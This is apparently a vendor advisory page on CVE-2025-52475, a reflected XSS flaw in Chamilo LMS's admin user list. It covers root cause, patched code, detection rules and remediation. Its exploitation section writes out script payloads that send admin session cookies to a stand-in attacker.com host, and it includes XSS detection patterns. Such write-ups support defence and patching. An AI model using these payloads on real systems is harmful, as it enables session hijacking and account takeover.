CVE-2025-52475
Executive Summary
CVE-2025-52475 is a reflected Cross-Site Scripting (XSS) vulnerability in Chamilo LMS, a popular open-source learning management system. The flaw exists in the admin/user_list.php endpoint, where the keyword_inactive parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript code in this parameter. When a victim (typically an administrator) clicks the link, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the Chamilo instance.
This vulnerability is classified as a reflected XSS (CWE-79) and requires user interaction (clicking a crafted link). The CVSS v3.1 base score is 6.1 (Medium), with a vector of AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The EPSS score is 0.0%, indicating low exploitation probability in the wild at the time of analysis, but the public availability of the vulnerability details and the widespread use of Chamilo in educational institutions make it a significant threat.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Chamilo is a PHP-based application distributed as a complete package. The vulnerability is in the core application code, not in a third-party library or package manager (NPM, PyPI, Go, Ruby). Therefore, supply chain security concerns are limited to ensuring the integrity of the Chamilo download and verifying the patch from the official source.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
- User Interaction (UI): Required (R) – The victim must click a crafted link.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify data (e.g., change user settings).
- Availability (A): None (N) – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within an educational environment elevates the risk. The vulnerability is trivial to exploit and requires no special tools.
Deep Dive & Mechanics
The vulnerability resides in the admin/user_list.php script, which is part of the Chamilo administration panel. This script is used to list and search for users. The keyword_inactive GET parameter is intended to filter users based on their inactive status. However, the value of this parameter is directly reflected in the HTML response without proper sanitization or encoding.
Root Cause: The application fails to escape or validate the keyword_inactive parameter before embedding it in the page output. This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker crafts a URL like:
https://victim-chamilo.com/main/admin/user_list.php?keyword_inactive=<script>alert('XSS')</script> - The attacker sends this URL to an administrator (e.g., via email, social engineering, or a compromised link).
- The administrator, while logged into Chamilo, clicks the link.
- The server processes the request and returns an HTML page where the
keyword_inactivevalue is embedded without sanitization. - The browser executes the injected JavaScript in the context of the Chamilo admin session.
- The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.
Why it's dangerous: Even though it's a reflected XSS, the admin panel context means the attacker can gain high privileges. The attack can be chained with other vulnerabilities (e.g., CSRF) for more severe impact.
Vulnerable vs. Patched Code
Vulnerable Code (Chamilo < 1.11.30):
// In admin/user_list.php (simplified)
$keyword_inactive = $_GET['keyword_inactive'];
// ... later in the HTML output
echo '<input type="text" name="keyword_inactive" value="' . $keyword_inactive . '" />';
The value is directly concatenated into the HTML without any escaping.
Patched Code (Chamilo >= 1.11.30):
// In admin/user_list.php (simplified)
$keyword_inactive = isset($_GET['keyword_inactive']) ? Security::remove_XSS($_GET['keyword_inactive']) : '';
// ... later in the HTML output
echo '<input type="text" name="keyword_inactive" value="' . $keyword_inactive . '" />';
The patched version uses Security::remove_XSS() (or similar sanitization function) to strip malicious content from the parameter before output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Chamilo instance (version < 1.11.30) running on a local or remote server.
- A web browser with developer tools.
- Basic understanding of JavaScript.
Step-by-Step Exploitation:
Craft the Payload: Use a simple JavaScript payload to demonstrate the XSS:
https://victim-chamilo.com/main/admin/user_list.php?keyword_inactive=<script>alert(document.cookie)</script>Deliver the Payload: Send the crafted URL to an authenticated admin user via email, chat, or a link shortener.
Execute the Attack: When the admin clicks the link, the script executes. For a more advanced attack, use a payload that exfiltrates the session cookie:
https://victim-chamilo.com/main/admin/user_list.php?keyword_inactive=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>Capture the Cookie: Set up a listener on
attacker.comto receive the cookie. Use tools likencor a simple Python HTTP server.
Example Payload for Session Hijacking:
<script>
var img = new Image();
img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests to
/main/admin/user_list.phpwith suspiciouskeyword_inactiveparameters containing<script>,onerror,javascript:, or other XSS patterns. - Use a Web Application Firewall (WAF) to block requests with obvious XSS payloads in the
keyword_inactiveparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
Defense:
- Immediately upgrade to Chamilo 1.11.30 or later.
- If upgrade is not possible, apply a virtual patch using a WAF rule to sanitize the
keyword_inactiveparameter. - Educate administrators about phishing attacks and the risks of clicking untrusted links.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/main/admin/user_list.phpwith akeyword_inactiveparameter containing HTML tags or JavaScript code. - Outbound connections from the Chamilo server to unknown IP addresses (potential data exfiltration).
- Unusual
Refererheaders in requests to the Chamilo admin panel.
Host IOCs:
- Unexpected entries in web server access logs (e.g.,
GET /main/admin/user_list.php?keyword_inactive=<script>...). - Modified or new files in the Chamilo installation directory (if the attacker uploads a shell).
- Suspicious processes running on the server (e.g., reverse shells).
File IOCs:
- The presence of
eval()orbase64_decode()in PHP files that were not part of the original Chamilo distribution.
Detection Engineering
YARA Rule
rule CVE_2025_52475_Chamilo_XSS {
meta:
description = "Detects reflected XSS attempts against Chamilo LMS CVE-2025-52475"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-52475"
severity = "medium"
strings:
$xss_pattern1 = /keyword_inactive=.*<script/i
$xss_pattern2 = /keyword_inactive=.*onerror/i
$xss_pattern3 = /keyword_inactive=.*javascript:/i
$xss_pattern4 = /keyword_inactive=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Chamilo LMS (CVE-2025-52475)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Chamilo admin/user_list.php with suspicious keyword_inactive parameter
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-52475
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/main/admin/user_list.php'
cs-uri-query|contains: 'keyword_inactive='
keywords:
- '<script'
- 'onerror'
- 'javascript:'
- 'alert('
- 'onload'
condition: selection and keywords
falsepositives:
- Legitimate use of the keyword_inactive parameter with non-malicious text (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-52475 Chamilo LMS Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/main/admin/user_list.php"; http_uri; content:"keyword_inactive="; http_uri; pcre:"/keyword_inactive=.*(<script|onerror|javascript:|alert\()/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Chamilo to version 1.11.30 or later. This is the only complete fix.
- Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing XSS patterns in the
keyword_inactiveparameter. - Input Validation: Implement server-side validation to reject any
keyword_inactivevalue containing HTML tags or JavaScript.
Long-Term Measures:
- Adopt a secure coding policy that mandates output encoding for all user-supplied data.
- Conduct regular security audits and penetration testing of the Chamilo instance.
- Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
- Use HTTP-only and Secure flags for session cookies to prevent theft via JavaScript.
Verification:
- After applying the patch, test the endpoint with a payload like
<script>alert(1)</script>to confirm it is no longer reflected. - Review web server logs for any previous exploitation attempts.
Valters IT